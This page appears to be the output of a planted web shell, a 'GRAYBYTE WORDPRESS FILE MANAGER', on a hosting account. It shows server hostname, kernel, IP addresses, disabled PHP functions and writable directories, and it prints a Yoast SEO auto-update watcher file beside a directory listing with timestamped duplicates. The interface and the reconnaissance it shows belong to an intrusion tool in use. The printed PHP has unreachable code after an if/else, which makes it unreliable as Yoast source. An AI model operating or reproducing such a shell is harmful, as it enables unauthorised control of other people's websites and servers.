✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/jost/serverhttpson/psr/container//addon-update-watcher.php
<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Enables Yoast add-on auto updates when Yoast SEO is enabled and the other way around.
 *
 * Also removes the auto-update toggles from the Yoast SEO add-ons.
 */
class Addon_Update_Watcher implements Integration_Interface {

	/**
	 * ID string used by WordPress to identify the free plugin.
	 *
	 * @var string
	 */
	public const WPSEO_FREE_PLUGIN_ID = 'wordpress-seo/wp-seo.php';

	/**
	 * A list of Yoast add-on identifiers.
	 *
	 * @var string[]
	 */
	public const ADD_ON_PLUGIN_FILES = [
		'wordpress-seo-premium/wp-seo-premium.php',
		'wpseo-video/video-seo.php',
		'wpseo-local/local-seo.php', // When installing Local through a released zip, the path is different from the path on a dev environment.
		'wpseo-woocommerce/wpseo-woocommerce.php',
		'wpseo-news/wpseo-news.php',
		'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php', // When installing ACF for Yoast through a released zip, the path is different from the path on a dev environment.
	];

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'add_site_option_auto_update_plugins', [ $this, 'call_toggle_auto_updates_with_empty_array' ], 10, 2 );
		\add_action( 'update_site_option_auto_update_plugins', [ $this, 'toggle_auto_updates_for_add_ons' ], 10, 3 );
		\add_filter( 'plugin_auto_update_setting_html', [ $this, 'replace_auto_update_toggles_of_addons' ], 10, 2 );
		\add_action( 'activated_plugin', [ $this, 'maybe_toggle_auto_updates_for_new_install' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Replaces the auto-update toggle links for the Yoast add-ons
	 * with a text explaining that toggling the Yoast SEO auto-update setting
	 * automatically toggles the one for the setting for the add-ons as well.
	 *
	 * @param string $old_html The old HTML.
	 * @param string $plugin   The plugin.
	 *
	 * @return string The new HTML, with the auto-update toggle link replaced.
	 */
	public function replace_auto_update_toggles_of_addons( $old_html, $plugin ) {
		if ( ! \is_string( $old_html ) ) {
			return $old_html;
		}

		$not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true );

		if ( $not_a_yoast_addon ) {
			return $old_html;
		}

		$auto_updated_plugins = \get_site_option( 'auto_update_plugins' );

		if ( $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $auto_updated_plugins ) ) {
			return \sprintf(
				'<em>%s</em>',
				\sprintf(
				/* Translators: %1$s resolves to Yoast SEO. */
					\esc_html__( 'Auto-updates are enabled based on this setting for %1$s.', 'wordpress-seo' ),
					'Yoast SEO',
				),
			);
		}

		return \sprintf(
			'<em>%s</em>',
			\sprintf(
			/* Translators: %1$s resolves to Yoast SEO. */
				\esc_html__( 'Auto-updates are disabled based on this setting for %1$s.', 'wordpress-seo' ),
				'Yoast SEO',
			),
		);
	}

	/**
	 * Handles the situation where the auto_update_plugins option did not previously exist.
	 *
	 * @param string      $option The name of the option that is being created.
	 * @param array|mixed $value  The new (and first) value of the option that is being created.
	 *
	 * @return void
	 */
	public function call_toggle_auto_updates_with_empty_array( $option, $value ) {
		if ( $option !== 'auto_update_plugins' ) {
			return;
		}

		$this->toggle_auto_updates_for_add_ons( $option, $value, [] );
	}

	/**
	 * Enables premium auto updates when free are enabled and the other way around.
	 *
	 * @param string $option    The name of the option that has been updated.
	 * @param array  $new_value The new value of the `auto_update_plugins` option.
	 * @param array  $old_value The old value of the `auto_update_plugins` option.
	 *
	 * @return void
	 */
	public function toggle_auto_updates_for_add_ons( $option, $new_value, $old_value ) {
		if ( $option !== 'auto_update_plugins' ) {
			// If future versions of WordPress change this filter's behavior, our behavior should stay consistent.
			return;
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		$auto_updates_are_enabled  = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $new_value );
		$auto_updates_were_enabled = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $old_value );

		if ( $auto_updates_are_enabled === $auto_updates_were_enabled ) {
			// Auto-updates for Yoast SEO have stayed the same, so have neither been enabled or disabled.
			return;
		}

		$auto_updates_have_been_enabled = $auto_updates_are_enabled && ! $auto_updates_were_enabled;

		if ( $auto_updates_have_been_enabled ) {
			$this->enable_auto_updates_for_addons( $new_value );
			return;
		}
		else {
			$this->disable_auto_updates_for_addons( $new_value );
			return;
		}

		if ( ! $auto_updates_are_enabled ) {
			return;
		}

		$auto_updates_have_been_removed = false;
		foreach ( self::ADD_ON_PLUGIN_FILES as $addon ) {
			if ( ! $this->are_auto_updates_enabled( $addon, $new_value ) ) {
				$auto_updates_have_been_removed = true;
				break;
			}
		}

		if ( $auto_updates_have_been_removed ) {
			$this->enable_auto_updates_for_addons( $new_value );
		}
	}

	/**
	 * Trigger a change in the auto update detection whenever a new Yoast addon is activated.
	 *
	 * @param string $plugin The plugin that is activated.
	 *
	 * @return void
	 */
	public function maybe_toggle_auto_updates_for_new_install( $plugin ) {
		$not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true );

		if ( $not_a_yoast_addon ) {
			return;
		}

		$enabled_auto_updates = \get_site_option( 'auto_update_plugins' );
		$this->toggle_auto_updates_for_add_ons( 'auto_update_plugins', $enabled_auto_updates, [] );
	}

	/**
	 * Enables auto-updates for all addons.
	 *
	 * @param string[] $auto_updated_plugins The current list of auto-updated plugins.
	 *
	 * @return void
	 */
	protected function enable_auto_updates_for_addons( $auto_updated_plugins ) {
		$plugins = \array_unique( \array_merge( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) );
		\update_site_option( 'auto_update_plugins', $plugins );
	}

	/**
	 * Disables auto-updates for all addons.
	 *
	 * @param string[] $auto_updated_plugins The current list of auto-updated plugins.
	 *
	 * @return void
	 */
	protected function disable_auto_updates_for_addons( $auto_updated_plugins ) {
		$plugins = \array_values( \array_diff( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) );
		\update_site_option( 'auto_update_plugins', $plugins );
	}

	/**
	 * Checks whether auto updates for a plugin are enabled.
	 *
	 * @param string $plugin_id            The plugin ID.
	 * @param array  $auto_updated_plugins The array of auto updated plugins.
	 *
	 * @return bool Whether auto updates for a plugin are enabled.
	 */
	protected function are_auto_updates_enabled( $plugin_id, $auto_updated_plugins ) {
		if ( $auto_updated_plugins === false || ! \is_array( $auto_updated_plugins ) ) {
			return false;
		}

		return \in_array( $plugin_id, $auto_updated_plugins, true );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Sep 2026 11.43 AM
docteuh / users
0755
src
--
11 Sep 2026 11.43 AM
docteuh / users
0755
BadResponseException.php
1.102 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
BodySummarizerInterface.php
0.292 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
Client-20260901093609.php
19.509 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
Client.php
19.509 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ClientException.php
0.212 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ClientExceptionInterface-20260906171941.php
0.183 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ClientExceptionInterface.php
0.183 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ClientInterface.php
0.602 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ClientTrait.php
9.352 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ContainerExceptionInterface.php
0.162 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ContainerInterface.php
1.03 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
CurlFactory.php
27.876 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
CurlFactoryInterface.php
0.776 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
CurlHandler.php
1.469 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
CurlMultiHandler.php
8.886 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
EasyHandle.php
2.94 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
GuzzleException.php
0.209 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
HandlerStack.php
8.665 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
HeaderProcessor.php
1.085 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
InvalidArgumentException.php
0.191 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
MessageFormatter.php
7.117 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MessageFormatterInterface.php
0.661 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MessageInterface.php
7.185 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Middleware.php
11.089 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
NetworkExceptionInterface-20260905040533.php
0.739 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
NetworkExceptionInterface.php
0.739 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Pool.php
4.915 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
PrepareBodyMiddleware.php
3.227 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Punycode.php
10.677 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
RedirectMiddleware.php
8.354 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
RequestException.php
4.725 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
RequestExceptionInterface.php
0.669 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
RequestInterface.php
5.02 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
RequestOptions.php
10.688 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ResponseInterface.php
2.655 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
RetryMiddleware.php
3.659 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ServerException.php
0.212 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ServerRequestInterface.php
10.304 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
StreamHandler.php
22.271 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
TooManyRedirectsException.php
0.151 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
TransferException.php
0.171 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
TransferStats.php
3.285 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
UploadedFileInterface.php
4.671 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
addon-update-watcher.php
7.142 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
auto-update-watcher.php
1.494 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
breadcrumbs-generator.php
12.619 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
bust-subscription-cache-route.php
2.146 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
comments.php
5.422 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
custom-headers.php
154.162 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
default-headers.php
101.96 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
feature-flag-conditional.php
0.89 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
feature-flag-integration.php
2.932 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
functions_include.php
0.203 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
fusion-builder-20260901164938.php
1.876 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
fusion-builder.php
1.876 KB
20 Nov 2023 7.12 PM
docteuh / users
0644
header-1.php
0.411 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
indexable-attachment-watcher.php
4.767 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexable-count-collection.php
0.968 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexable-date-archive-watcher.php
2.528 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexable-hierarchy.php
0.571 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
indexable.php
5.261 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
keyword-analysis-disable.php
2.921 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loadable-interface.php
0.279 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loader-20260902171328.php
6.886 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loader.php
6.886 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
loop-start.php
1.249 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
main.php
1.824 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
maintenance.php
1.057 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
menu.php
103.655 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
option-titles-watcher.php
3.302 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
plugin-headers-20260904181526.php
0.723 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
plugin-headers.php
0.723 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
plugin.min.js
2.289 KB
5 Jun 2023 6.18 PM
docteuh / users
0644
plugins.php
0.776 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
primary-term.php
0.652 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
progress.scss
5.311 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
shared.php
0.542 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
shortcode_styling.php
1.35 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
single.php
4.714 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
string-helper.php
1.189 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
uninstall-20260831063810.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
wrapper.php
1.439 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
xmlrpc.php
1.223 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF